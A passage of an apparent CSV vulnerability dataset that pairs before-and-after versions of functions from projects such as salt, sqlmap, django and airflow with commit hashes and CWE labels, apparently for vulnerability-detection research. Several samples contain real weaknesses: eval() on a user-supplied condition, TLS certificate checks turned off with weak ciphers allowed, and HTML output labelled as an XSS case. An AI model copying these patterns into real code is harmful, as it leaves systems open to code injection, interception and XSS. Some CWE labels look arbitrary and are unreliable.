        request = HTTPRequest(**kwargs)
        if body is not None:
            request.body = body
        request.allow_nonstandard_methods = True
        self.http_client.fetch(request, self.stop, method=None)
        return self.wait()",CWE-Unknown,tornadoweb/tornado,a3bf5314131c2429b2c0e1f3c70a86da7b2678ff,"def fetch(self, path, body=None, **kwargs):
        kwargs['url'] = self.get_url(path)
        request = HTTPRequest(**kwargs)
        if body is not None:
            request.body = body
        request.allow_nonstandard_methods = True
        self.http_client.fetch(request, self.stop, method=None)
        return self.wait()"
,UNKNOWN,UNKNOWN,salt/states/loop.py,1,"def until(name,
          m_args=None,
          m_kwargs=None,
          condition=None,
          period=0,
          timeout=604800):
    '''
    Loop over an execution module until a condition is met.

    name
        The name of the execution module

    m_args
        The execution module's positional arguments

    m_kwargs
        The execution module's keyword arguments

    condition
        The condition which must be met for the loop to break. This
        should contain ``m_ret`` which is the return from the execution
        module.

    period
        The number of seconds to wait between executions

    timeout
        The timeout in seconds
    '''
    ret = {'name': name,
           'changes': {},
           'result': False,
           'comment': ''}

    if name not in __salt__:
        ret['comment'] = 'Cannot find module {0}'.format(name)
        return ret
    if condition is None:
        ret['comment'] = 'An exit condition must be specified'
        return ret
    if not isinstance(period, int):
        ret['comment'] = 'Period must be specified as an integer in seconds'
        return ret
    if not isinstance(timeout, int):
        ret['comment'] = 'Timeout must be specified as an integer in seconds'
        return ret
    if __opts__['test']:
        ret['comment'] = 'The execution module {0} will be run'.format(name)
        ret['result'] = None
        return ret
    if not m_args:
        m_args = []
    if not m_kwargs:
        m_kwargs = {}

    def timed_out():
        if time.time() >= timeout:
            return True
        return False

    timeout = time.time() + timeout

    while not timed_out():
        m_ret = __salt__[name](*m_args, **m_kwargs)
        if eval(condition):  # pylint: disable=W0123
            ret['result'] = True
            ret['comment'] = 'Condition {0} was met'.format(condition)
            return ret
        time.sleep(period)

    ret['comment'] = 'Timed out while waiting for condition {0}'.format(condition)
    return ret",CWE-94,saltstack/salt,24a79f8971ee82d77d1de496c042f3b7af31654d,"def until(name,
          m_args=None,
          m_kwargs=None,
          condition=None,
          period=0,
          timeout=604800):
    '''
    Loop over an execution module until a condition is met.

    name
        The name of the execution module

    m_args
        The execution module's positional arguments

    m_kwargs
        The execution module's keyword arguments

    condition
        The condition which must be met for the loop to break. This
        should contain ``m_ret`` which is the return from the execution
        module.

    period
        The number of seconds to wait between executions

    timeout
        The timeout in seconds
    '''
    ret = {'name': name,
           'changes': {},
           'result': False,
           'comment': ''}

    if name not in __salt__:
        ret['comment'] = 'Cannot find module {0}'.format(name)
        return ret
    if condition is None:
        ret['comment'] = 'An exit condition must be specified'
        return ret
    if not isinstance(period, int):
        ret['comment'] = 'Period must be specified as an integer in seconds'
        return ret
    if not isinstance(timeout, int):
        ret['comment'] = 'Timeout must be specified as an integer in seconds'
        return ret
    if __opts__['test']:
        ret['comment'] = 'The execution module {0} will be run'.format(name)
        ret['result'] = None
        return ret

    def timed_out():
        if time.time() >= timeout:
            return True
        return False

    timeout = time.time() + timeout

    while not timed_out():
        m_ret = __salt__[name](*m_args, **m_kwargs)
        if eval(condition):  # pylint: disable=W0123
            ret['result'] = True
            ret['comment'] = 'Condition {0} was met'.format(condition)
            return ret
        time.sleep(period)

    ret['comment'] = 'Timed out while waiting for condition {0}'.format(condition)
    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/commands/kubernetes_commands.py,0,"def _deploy_helm_chart(
    python: str,
    upgrade: bool,
    kubernetes_version: str,
    output: Output | None,
    executor: str,
    use_standard_naming: bool,
    extra_options: tuple[str, ...] | None = None,
    multi_namespace_mode: bool = False,
) -> RunCommandResult:
    cluster_name = get_kubectl_cluster_name(python=python, kubernetes_version=kubernetes_version)
    action = ""Deploying"" if not upgrade else ""Upgrading""
    get_console(output=output).print(f""[info]{action} {cluster_name} with airflow Helm Chart."")
    with tempfile.TemporaryDirectory(prefix=""chart_"") as tmp_dir:
        tmp_chart_path = Path(tmp_dir).resolve() / ""chart""
        shutil.copytree(CHART_PATH, os.fspath(tmp_chart_path), ignore_dangling_symlinks=True)
        get_console(output=output).print(f""[info]Copied chart sources to {tmp_chart_path}"")
        kubectl_context = get_kubectl_cluster_name(python=python, kubernetes_version=kubernetes_version)
        params = BuildProdParams(python=python)
        airflow_kubernetes_image_name = params.airflow_image_kubernetes
        helm_command = [
            ""helm"",
            ""upgrade"" if upgrade else ""install"",
            ""airflow"",
            os.fspath(tmp_chart_path.resolve()),
            ""--kube-context"",
            kubectl_context,
            ""--timeout"",
            ""10m0s"",
            ""--namespace"",
            HELM_AIRFLOW_NAMESPACE,
            ""--set"",
            f""defaultAirflowRepository={airflow_kubernetes_image_name}"",
            ""--set"",
            ""defaultAirflowTag=latest"",
            ""-v"",
            ""1"",
            ""--set"",
            f""images.airflow.repository={airflow_kubernetes_image_name}"",
            ""--set"",
            ""images.airflow.tag=latest"",
            ""-v"",
            ""1"",
            ""--set"",
            ""config.api.auth_backends=airflow.providers.fab.auth_manager.api.auth.backend.basic_auth"",
            ""--set"",
            ""config.logging.logging_level=DEBUG"",
            ""--set"",
            f""executor={executor}"",
        ]
        if multi_namespace_mode:
            helm_command.extend([""--set"", ""multiNamespaceMode=true""])
        if upgrade:
            # force upgrade
            helm_command.append(""--force"")
        if use_standard_naming:
            helm_command.extend([""--set"", ""useStandardNaming=true""])
        if extra_options:
            helm_command.extend(extra_options)
        get_console(output=output).print(f""[info]Deploying Airflow from {tmp_chart_path}"")
        result = run_command_with_k8s_env(
            helm_command,
            python=python,
            kubernetes_version=kubernetes_version,
            output=output,
            check=False,
        )
        if result.returncode == 0:
            get_console(output=output).print(f""[success]Deployed {cluster_name} with airflow Helm Chart."")
        return result",CWE-Unknown,apache/airflow,c2a9833ba74ec273e4a668c7a7962c12171a6299,"def _deploy_helm_chart(
    python: str,
    upgrade: bool,
    kubernetes_version: str,
    output: Output | None,
    executor: str,
    use_standard_naming: bool,
    extra_options: tuple[str, ...] | None = None,
    multi_namespace_mode: bool = False,
) -> RunCommandResult:
    cluster_name = get_kubectl_cluster_name(python=python, kubernetes_version=kubernetes_version)
    action = ""Deploying"" if not upgrade else ""Upgrading""
    get_console(output=output).print(f""[info]{action} {cluster_name} with airflow Helm Chart."")
    with tempfile.TemporaryDirectory(prefix=""chart_"") as tmp_dir:
        tmp_chart_path = Path(tmp_dir).resolve() / ""chart""
        shutil.copytree(CHART_PATH, os.fspath(tmp_chart_path), ignore_dangling_symlinks=True)
        get_console(output=output).print(f""[info]Copied chart sources to {tmp_chart_path}"")
        kubectl_context = get_kubectl_cluster_name(python=python, kubernetes_version=kubernetes_version)
        params = BuildProdParams(python=python)
        airflow_kubernetes_image_name = params.airflow_image_kubernetes
        helm_command = [
            ""helm"",
            ""upgrade"" if upgrade else ""install"",
            ""airflow"",
            os.fspath(tmp_chart_path.resolve()),
            ""--kube-context"",
            kubectl_context,
            ""--timeout"",
            ""10m0s"",
            ""--namespace"",
            HELM_AIRFLOW_NAMESPACE,
            ""--set"",
            f""defaultAirflowRepository={airflow_kubernetes_image_name}"",
            ""--set"",
            ""defaultAirflowTag=latest"",
            ""-v"",
            ""1"",
            ""--set"",
            f""images.airflow.repository={airflow_kubernetes_image_name}"",
            ""--set"",
            ""images.airflow.tag=latest"",
            ""-v"",
            ""1"",
            ""--set"",
            ""config.api.auth_backends=airflow.api.auth.backend.basic_auth"",
            ""--set"",
            ""config.logging.logging_level=DEBUG"",
            ""--set"",
            f""executor={executor}"",
        ]
        if multi_namespace_mode:
            helm_command.extend([""--set"", ""multiNamespaceMode=true""])
        if upgrade:
            # force upgrade
            helm_command.append(""--force"")
        if use_standard_naming:
            helm_command.extend([""--set"", ""useStandardNaming=true""])
        if extra_options:
            helm_command.extend(extra_options)
        get_console(output=output).print(f""[info]Deploying Airflow from {tmp_chart_path}"")
        result = run_command_with_k8s_env(
            helm_command,
            python=python,
            kubernetes_version=kubernetes_version,
            output=output,
            check=False,
        )
        if result.returncode == 0:
            get_console(output=output).print(f""[success]Deployed {cluster_name} with airflow Helm Chart."")
        return result"
,UNKNOWN,UNKNOWN,lib/request/httpshandler.py,1,"def connect(self):
        def create_sock():
            sock = socket.create_connection((self.host, self.port), self.timeout)
            if getattr(self, ""_tunnel_host"", None):
                self.sock = sock
                self._tunnel()
            return sock

        success = False

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if hasattr(ssl, ""SSLContext""):
            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                try:
                    sock = create_sock()
                    if protocol not in _contexts:
                        _contexts[protocol] = ssl.SSLContext(protocol)

                        # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT
                        _contexts[protocol].check_hostname = False
                        _contexts[protocol].verify_mode = ssl.CERT_NONE

                        if getattr(self, ""cert_file"", None) and getattr(self, ""key_file"", None):
                            _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file)
                        try:
                            # Reference(s): https://askubuntu.com/a/1263098
                            #               https://askubuntu.com/a/1250807
                            _contexts[protocol].set_ciphers(""ALL@SECLEVEL=0"")
                        except (ssl.SSLError, AttributeError):
                            pass
                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r""\A[\d.]+\Z"", self.host or """") is None else None)
                    if result:
                        success = True
                        self.sock = result
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        elif hasattr(ssl, ""wrap_socket""):
            for protocol in _protocols:
                try:
                    sock = create_sock()
                    _ = ssl.wrap_socket(sock, keyfile=getattr(self, ""key_file""), certfile=getattr(self, ""cert_file""), ssl_version=protocol)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        if not success:
            errMsg = ""can't establish SSL connection""
            # Reference: https://docs.python.org/2/library/ssl.html
            if LooseVersion(PYVERSION) < LooseVersion(""2.7.9""):
                errMsg += "" (please retry with Python >= 2.7.9)""

            if kb.sslSuccess and not self.retrying:
                self.retrying = True

                for _ in xrange(conf.retries):
                    try:
                        self.connect()
                    except SqlmapConnectionException:
                        pass
                    else:
                        return

            raise SqlmapConnectionException(errMsg)
        else:
            kb.sslSuccess = True",CWE-327,sqlmapproject/sqlmap,efd5e2b62b0f6e60722580862d2bcfe8f675510a,"def connect(self):
        def create_sock():
            sock = socket.create_connection((self.host, self.port), self.timeout)
            if getattr(self, ""_tunnel_host"", None):
                self.sock = sock
                self._tunnel()
            return sock

        success = False

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if hasattr(ssl, ""SSLContext""):
            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                try:
                    sock = create_sock()
                    if protocol not in _contexts:
                        _contexts[protocol] = ssl.SSLContext(protocol)

                        # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT
                        _contexts[protocol].check_hostname = False
                        _contexts[protocol].verify_mode = ssl.CERT_NONE

                        if getattr(self, ""cert_file"", None) and getattr(self, ""key_file"", None):
                            _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file)
                        try:
                            # Reference(s): https://askubuntu.com/a/1263098
                            #               https://askubuntu.com/a/1250807
                            _contexts[protocol].set_ciphers(""DEFAULT@SECLEVEL=1"")
                        except (ssl.SSLError, AttributeError):
                            pass
                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r""\A[\d.]+\Z"", self.host or """") is None else None)
                    if result:
                        success = True
                        self.sock = result
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        elif hasattr(ssl, ""wrap_socket""):
            for protocol in _protocols:
                try:
                    sock = create_sock()
                    _ = ssl.wrap_socket(sock, keyfile=getattr(self, ""key_file""), certfile=getattr(self, ""cert_file""), ssl_version=protocol)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        if not success:
            errMsg = ""can't establish SSL connection""
            # Reference: https://docs.python.org/2/library/ssl.html
            if LooseVersion(PYVERSION) < LooseVersion(""2.7.9""):
                errMsg += "" (please retry with Python >= 2.7.9)""

            if kb.sslSuccess and not self.retrying:
                self.retrying = True

                for _ in xrange(conf.retries):
                    try:
                        self.connect()
                    except SqlmapConnectionException:
                        pass
                    else:
                        return

            raise SqlmapConnectionException(errMsg)
        else:
            kb.sslSuccess = True"
,UNKNOWN,UNKNOWN,tests/www/test_security.py,1,"def test_update_and_verify_permission_role(self):
        role_name = 'Test_Role'
        role_perms = []
        mock_roles = [{'role': role_name, 'perms': role_perms}]
        self.security_manager.bulk_sync_roles(mock_roles)
        role = self.security_manager.find_role(role_name)

        perm = self.security_manager.find_permission_view_menu(
            permissions.ACTION_CAN_EDIT, permissions.RESOURCE_ROLE
        )
        self.security_manager.add_permission_role(role, perm)
        role_perms_len = len(role.permissions)

        self.security_manager.bulk_sync_roles(mock_roles)
        new_role_perms_len = len(role.permissions)

        assert role_perms_len == new_role_perms_len
        assert new_role_perms_len == 1",CWE-703,apache/airflow,18c5b8af1020a86a82c459b8a26615ba6f1d8df6,"def test_update_and_verify_permission_role(self):
        role_name = 'Test_Role'
        role_perms = []
        mock_roles = [{'role': role_name, 'perms': role_perms}]
        self.security_manager.bulk_sync_roles(mock_roles)
        role = self.security_manager.find_role(role_name)

        perm = self.security_manager.find_permission_view_menu(permissions.ACTION_CAN_EDIT, 'RoleModelView')
        self.security_manager.add_permission_role(role, perm)
        role_perms_len = len(role.permissions)

        self.security_manager.bulk_sync_roles(mock_roles)
        new_role_perms_len = len(role.permissions)

        assert role_perms_len == new_role_perms_len
        assert new_role_perms_len == 1"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def content(self):
        """"""Content of the response, in bytes.""""""

        if self._content is False:
            # Read the contents.
            if self._content_consumed:
                raise RuntimeError(
                    'The content for this response was already consumed')

            if not self.status_code:
                self._content = None
            else:
                self._content = bytes().join(self.iter_content(CONTENT_CHUNK_SIZE)) or bytes()

        self._content_consumed = True
        # don't need to release the connection; that's been handled by urllib3
        # since we exhausted the data.
        return self._content",,psf/requests,4f428228d7e48ac2b254d7a2d1869241c6fb213c,"def content(self):
        """"""Content of the response, in bytes.""""""

        if self._content is False:
            # Read the contents.
            if self._content_consumed:
                raise RuntimeError(
                    'The content for this response was already consumed')

            if self.status_code == 0:
                self._content = None
            else:
                self._content = bytes().join(self.iter_content(CONTENT_CHUNK_SIZE)) or bytes()

        self._content_consumed = True
        # don't need to release the connection; that's been handled by urllib3
        # since we exhausted the data.
        return self._content"
,UNKNOWN,UNKNOWN,django/forms/forms.py,1,"def _html_output(self, normal_row, error_row, row_ender, help_text_html, errors_on_separate_row):
        ""Helper function for outputting HTML. Used by as_table(), as_ul(), as_p().""
        top_errors = self.non_field_errors()  # Errors that should be displayed above all fields.
        output, hidden_fields = [], []

        for name, field in self.fields.items():
            html_class_attr = ''
            bf = self[name]
            # Escape and cache in local variable.
            bf_errors = self.error_class([conditional_escape(error) for error in bf.errors])
            if bf.is_hidden:
                if bf_errors:
                    top_errors.extend(
                        [_('(Hidden field %(name)s) %(error)s') % {'name': name, 'error': force_text(e)}
                         for e in bf_errors])
                hidden_fields.append(six.text_type(bf))
            else:
                # Create a 'class=""...""' attribute if the row should have any
                # CSS classes applied.
                css_classes = bf.css_classes()
                if css_classes:
                    html_class_attr = ' class=""%s""' % css_classes

                if errors_on_separate_row and bf_errors:
                    output.append(error_row % force_text(bf_errors))

                if bf.label:
                    label = conditional_escape(force_text(bf.label))
                    label = bf.label_tag(label) or ''
                else:
                    label = ''

                if field.help_text:
                    help_text = help_text_html % force_text(field.help_text)
                else:
                    help_text = ''

                output.append(normal_row % {
                    'errors': force_text(bf_errors),
                    'label': force_text(label),
                    'field': six.text_type(bf),
                    'help_text': help_text,
                    'html_class_attr': html_class_attr,
                    'css_classes': css_classes,
                    'field_name': bf.html_name,
                })

        if top_errors:
            output.insert(0, error_row % force_text(top_errors))

        if hidden_fields:  # Insert any hidden fields in the last row.
            str_hidden = ''.join(hidden_fields)
            if output:
                last_row = output[-1]
                # Chop off the trailing row_ender (e.g. '</td></tr>') and
                # insert the hidden fields.
                if not last_row.endswith(row_ender):
                    # This can happen in the as_p() case (and possibly others
                    # that users write): if there are only top errors, we may
                    # not be able to conscript the last row for our purposes,
                    # so insert a new, empty row.
                    last_row = (normal_row % {
                        'errors': '',
                        'label': '',
                        'field': '',
                        'help_text': '',
                        'html_class_attr': html_class_attr,
                        'css_classes': '',
                        'field_name': '',
                    })
                    output.append(last_row)
                output[-1] = last_row[:-len(row_ender)] + str_hidden + row_ender
            else:
                # If there aren't any rows in the output, just append the
                # hidden fields.
                output.append(str_hidden)
        return mark_safe('\n'.join(output))",CWE-79,django/django,1884bf8e8e9fb3f9f44a9ec216aca96f63974268,"def _html_output(self, normal_row, error_row, row_ender, help_text_html, errors_on_separate_row):
        ""Helper function for outputting HTML. Used by as_table(), as_ul(), as_p().""
        top_errors = self.non_field_errors()  # Errors that should be displayed above all fields.
        output, hidden_fields = [], []

        for name, field in self.fields.items():
            html_class_attr = ''
            bf = self[name]
            # Escape and cache in local variable.
            bf_errors = self.error_class([conditional_escape(error) for error in bf.errors])
            if bf.is_hidden:
                if bf_errors:
                    top_errors.extend(
                        [_('(Hidden field %(name)s) %(error)s') % {'name': name, 'error': force_text(e)}
                         for e in bf_errors])
                hidden_fields.append(six.text_type(bf))
            else:
                # Create a 'class=""...""' attribute if the row should have any
                # CSS classes applied.
                css_classes = bf.css_classes()
                if css_classes:
                    html_class_attr = ' class=""%s""' % css_classes

                if errors_on_separate_row and bf_errors:
                    output.append(error_row % force_text(bf_errors))

                if bf.label:
                    label = conditional_escape(force_text(bf.label))
                    label = bf.label_tag(label) or ''
                else:
                    label = ''

                if field.help_text:
                    help_text = help_text_html % force_text(field.help_text)
                else:
                    help_text = ''

                output.append(normal_row % {
                    'errors': force_text(bf_errors),
                    'label': force_text(label),
                    'field': six.text_type(bf),
                    'help_text': help_text,
                    'html_class_attr': html_class_attr,
                    'field_name': bf.html_name,
                })

        if top_errors:
            output.insert(0, error_row % force_text(top_errors))

        if hidden_fields:  # Insert any hidden fields in the last row.
            str_hidden = ''.join(hidden_fields)
            if output:
                last_row = output[-1]
                # Chop off the trailing row_ender (e.g. '</td></tr>') and
                # insert the hidden fields.
                if not last_row.endswith(row_ender):
                    # This can happen in the as_p() case (and possibly others
                    # that users write): if there are only top errors, we may
                    # not be able to conscript the last row for our purposes,
                    # so insert a new, empty row.
                    last_row = (normal_row % {
                        'errors': '',
                        'label': '',
                        'field': '',
                        'help_text': '',
                        'html_class_attr': html_class_attr,
                        'field_name': '',
                    })
                    output.append(last_row)
                output[-1] = last_row[:-len(row_ender)] + str_hidden + row_ender
            else:
                # If there aren't any rows in the output, just append the
                # hidden fields.
                output.append(str_hidden)
        return mark_safe('\n'.join(output))"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_task_endpoint.py,1,"def test_should_respond_200(self):
        expected = {
            ""class_ref"": {
                ""class_name"": ""EmptyOperator"",
                ""module_path"": ""airflow.operators.empty"",
            },
            ""depends_on_past"": False,
            ""downstream_task_ids"": [self.task_id2],
            ""end_date"": None,
            ""execution_timeout"": None,
            ""extra_links"": [],
            ""operator_name"": ""EmptyOperator"",
            ""owner"": ""airflow"",
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.models.param.Param"",
                    ""value"": ""bar"",
                    ""description"": None,
                    ""schema"": {},
                }
            },
            ""pool"": ""default_pool"",
            ""pool_slots"": 1.0,
            ""priority_weight"": 1.0,
            ""queue"": ""default"",
            ""retries"": 0.0,
            ""retry_delay"": {""__type"": ""TimeDelta"", ""days"": 0, ""seconds"": 300, ""microseconds"": 0},
            ""retry_exponential_backoff"": False,
            ""start_date"": ""2020-06-15T00:00:00+00:00"",
            ""task_id"": ""op1"",
            ""task_display_name"": ""op1"",
            ""template_fields"": [],
            ""trigger_rule"": ""all_success"",
            ""ui_color"": ""#e8f7e4"",
            ""ui_fgcolor"": ""#000"",
            ""wait_for_downstream"": False,
            ""weight_rule"": ""downstream"",
            ""is_mapped"": False,
        }
        response = self.client.get(
            f""/api/v1/dags/{self.dag_id}/tasks/{self.task_id}"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 200
        assert response.json == expected",CWE-703,apache/airflow,8c44bcb50803cad1595a8586058db67d5cc0ce2f,"def test_should_respond_200(self):
        expected = {
            ""class_ref"": {
                ""class_name"": ""EmptyOperator"",
                ""module_path"": ""airflow.operators.empty"",
            },
            ""depends_on_past"": False,
            ""downstream_task_ids"": [self.task_id2],
            ""end_date"": None,
            ""execution_timeout"": None,
            ""extra_links"": [],
            ""operator_name"": ""EmptyOperator"",
            ""owner"": ""airflow"",
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.models.param.Param"",
                    ""value"": ""bar"",
                    ""description"": None,
                    ""schema"": {},
                }
            },
            ""pool"": ""default_pool"",
            ""pool_slots"": 1.0,
            ""priority_weight"": 1.0,
            ""queue"": ""default"",
            ""retries"": 0.0,
            ""retry_delay"": {""__type"": ""TimeDelta"", ""days"": 0, ""seconds"": 300, ""microseconds"": 0},
            ""retry_exponential_backoff"": False,
            ""start_date"": ""2020-06-15T00:00:00+00:00"",
            ""task_id"": ""op1"",
            ""template_fields"": [],
            ""trigger_rule"": ""all_success"",
            ""ui_color"": ""#e8f7e4"",
            ""ui_fgcolor"": ""#000"",
            ""wait_for_downstream"": False,
            ""weight_rule"": ""downstream"",
            ""is_mapped"": False,
        }
        response = self.client.get(
            f""/api/v1/dags/{self.dag_id}/tasks/{self.task_id}"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 200
        assert response.json == expected"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/commands/createcachetable.py,0,"def add_arguments(self, parser):
        parser.add_argument(
            ""args"",
            metavar=""table_name"",
            nargs=""*"",
            help=(
                ""Optional table names. Otherwise, settings.CACHES is used to find ""
                ""cache tables.""
            ),
        )
        parser.add_argument(
            ""--database"",
            default=DEFAULT_DB_ALIAS,
            choices=tuple(connections),
            help=""Nominates a database onto which the cache tables will be ""
            'installed. Defaults to the ""default"" database.',
        )
        parser.add_argument(
            ""--dry-run"",
            action=""store_true"",
            help=""Does not create the table, just prints the SQL that would be run."",
        )",CWE-Unknown,django/django,4a76ac0e9d21c3680cc533ec7f55c0a1919424ba,"def add_arguments(self, parser):
        parser.add_argument(
            ""args"",
            metavar=""table_name"",
            nargs=""*"",
            help=(
                ""Optional table names. Otherwise, settings.CACHES is used to find ""
                ""cache tables.""
            ),
        )
        parser.add_argument(
            ""--database"",
            default=DEFAULT_DB_ALIAS,
            help=""Nominates a database onto which the cache tables will be ""
            'installed. Defaults to the ""default"" database.',
        )
        parser.add_argument(
            ""--dry-run"",
            action=""store_true"",
            help=""Does not create the table, just prints the SQL that would be run."",
        )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/buffered_pipe.py,0,"def feed(self, data):
        """"""
        Feed new data into this pipe.  This method is assumed to be called
        from a separate thread, so synchronization is done.
        
        :param data: the data to add, as a `str` or `bytes`
        """"""
        self._lock.acquire()
        try:
            if self._event is not None:
                self._event.set()
            self._buffer_frombytes(b(data))
            self._cv.notifyAll()
        finally:
            self._lock.release()",,paramiko/paramiko,0683452c622e95c2b3a775621d3ace7a5afcc152,"def feed(self, data):
        """"""
        Feed new data into this pipe.  This method is assumed to be called
        from a separate thread, so synchronization is done.
        
        :param data: the data to add, as a `str`
        """"""
        self._lock.acquire()
        try:
            if self._event is not None:
                self._event.set()
            self._buffer_frombytes(b(data))
            self._cv.notifyAll()
        finally:
            self._lock.release()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/model.py,0,"def log(
        cls,
        artifact_path,
        flavor,
        registered_model_name=None,
        await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
        metadata=None,
        **kwargs,
    ):
        """"""
        Log model using supplied flavor module. If no run is active, this method will create a new
        active run.

        :param artifact_path: Run relative path identifying the model.
        :param flavor: Flavor module to save the model with. The module must have
                       the ``save_model`` function that will persist the model as a valid
                       MLflow model.
        :param registered_model_name: If given, create a model version under
                                      ``registered_model_name``, also creating a registered model if
                                      one with the given name does not exist.
        :param signature: :py:class:`ModelSignature` describes model input
                          and output :py:class:`Schema <mlflow.types.Schema>`. The model signature
                          can be :py:func:`inferred <infer_signature>` from datasets representing
                          valid model input (e.g. the training dataset) and valid model output
                          (e.g. model predictions generated on the training dataset), for example:

                          .. code-block:: python

                            from mlflow.models import infer_signature

                            train = df.drop_column(""target_label"")
                            signature = infer_signature(train, model.predict(train))

        :param input_example: Input example provides one or several examples of
                              valid model input. The example can be used as a hint of what data to
                              feed the model. The given example will be converted to a Pandas
                              DataFrame and then serialized to json using the Pandas split-oriented
                              format. Bytes are base64-encoded.

        :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.

        :param metadata: Custom metadata dictionary passed to the model and stored in
                         the MLmodel file.

                         .. Note:: Experimental: This parameter may change or be removed in a
                                                 future release without warning.

        :param kwargs: Extra args passed to the model flavor.

        :return: A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
                 metadata of the logged model.
        """"""
        with TempDir() as tmp:
            local_path = tmp.path(""model"")
            run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
            mlflow_model = cls(artifact_path=artifact_path, run_id=run_id, metadata=metadata)
            tracking_uri = _resolve_tracking_uri()
            if (
                (tracking_uri == ""databricks"" or get_uri_scheme(tracking_uri) == ""databricks"")
                and kwargs.get(""signature"") is None
                and kwargs.get(""input_example"") is None
            ):
                _logger.warning(_LOG_MODEL_MISSING_SIGNATURE_WARNING)
            flavor.save_model(path=local_path, mlflow_model=mlflow_model, **kwargs)
            mlflow.tracking.fluent.log_artifacts(local_path, mlflow_model.artifact_path)
            try:
                mlflow.tracking.fluent._record_logged_model(mlflow_model)
            except MlflowException:
                # We need to swallow all mlflow exceptions to maintain backwards compatibility with
                # older tracking servers. Only print out a warning for now.
                _logger.warning(_LOG_MODEL_METADATA_WARNING_TEMPLATE, mlflow.get_artifact_uri())
                _logger.debug("""", exc_info=True)
            if registered_model_name is not None:
                run_id = mlflow.tracking.fluent.active_run().info.run_id
                mlflow.tracking._model_registry.fluent._register_model(
                    f""runs:/{run_id}/{mlflow_model.artifact_path}"",
                    registered_model_name,
                    await_registration_for=await_registration_for,
                    local_model_path=local_path,
                )
        return mlflow_model.get_model_info()",,mlflow/mlflow,02f08b7ace76d1406ab86b700d9600f101397aef,"def log(
        cls,
        artifact_path,
        flavor,
        registered_model_name=None,
        await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
        metadata=None,
        **kwargs,
    ):
        """"""
        Log model using supplied flavor module. If no run is active, this method will create a new
        active run.

        :param artifact_path: Run relative path identifying the model.
        :param flavor: Flavor module to save the model with. The module must have
                       the ``save_model`` function that will persist the model as a valid
                       MLflow model.
        :param registered_model_name: If given, create a model version under
                                      ``registered_model_name``, also creating a registered model if
                                      one with the given name does not exist.
        :param signature: :py:class:`ModelSignature` describes model input
                          and output :py:class:`Schema <mlflow.types.Schema>`. The model signature
                          can be :py:func:`inferred <infer_signature>` from datasets representing
                          valid model input (e.g. the training dataset) and valid model output
                          (e.g. model predictions generated on the training dataset), for example:

                          .. code-block:: python

                            from mlflow.models import infer_signature

                            train = df.drop_column(""target_label"")
                            signature = infer_signature(train, model.predict(train))

        :param input_example: Input example provides one or several examples of
                              valid model input. The example can be used as a hint of what data to
                              feed the model. The given example will be converted to a Pandas
                              DataFrame and then serialized to json using the Pandas split-oriented
                              format. Bytes are base64-encoded.

        :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.

        :param metadata: Custom metadata dictionary passed to the model and stored in
                         the MLmodel file.

                         .. Note:: Experimental: This parameter may change or be removed in a
                                                 future release without warning.

        :param kwargs: Extra args passed to the model flavor.

        :return: A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
                 metadata of the logged model.
        """"""
        with TempDir() as tmp:
            local_path = tmp.path(""model"")
            run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
            mlflow_model = cls(artifact_path=artifact_path, run_id=run_id, metadata=metadata)
